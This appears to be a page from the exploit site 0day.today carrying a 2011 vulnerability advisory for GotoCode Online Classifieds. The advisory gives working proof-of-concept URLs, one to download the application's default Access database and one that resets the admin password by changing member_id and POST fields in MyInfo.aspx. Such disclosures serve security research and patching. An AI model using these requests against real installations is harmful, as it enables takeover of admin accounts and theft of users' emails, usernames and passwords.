0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
GotoCode Online Classifieds Multiple Vulnerabilities
[############################################################################### # Exploit Title : GotoCode Online Classifieds Multiple Vulnerabilities # Vulnerability : Privilege Escalation / Remote Database Download # Date : 09/10/2011 # Author : Nathaniel Carew # Email : njcarew@gmail.com # Impact : High # Software Link : http://www.gotocode.com/apps.asp?app_id=5& # Platform : ASP.NET # Tested on : MS Windows Server Standard 2003 SP2 / IIS 6 # Thanks : Peregrinus & Birch Meister General ############################################################################### Overview: --------- Database: If the application is configured using the default directory structure and an access database then a user can download the access database. Privilege Escalation: First reset your own password via the 'Registration' link: http://localhost/[path]/Registration.aspx This now takes you to a new page where you can select the 'Edit my info' link: http://localhost/[path]/MyInfo.aspx?member_id=10& Change the above GET URI to member_id=1& and refresh Now by modifying the following variables in the POST data you can reset the admin password with the password you entered into the appropriate field to gain full admin rights to the web application: p_Record_member_id=1 Record_member_id=1 Record_name=admin Record_member_password=newpass Proof of Concept: ----------------- http://localhost/[path]/Classifieds_MSAccess.mdb http://localhost/[path]/MyInfo.aspx?p_Record_member_id=1&Record_member_id=1&Record_name=admin&Record_member_password=newpass&Record_email=moo&Record_location=&Record_home_phone=&Record_work_phone= Impact: ------- By resetting the admin password an attacker would be able to completely control the application, users and their associated data. Successful database exploitation would allow an attacker to download the complete database of users information including email addresses usernames, passwords and associated classified listed data. # 0day.today [2024-11-16] #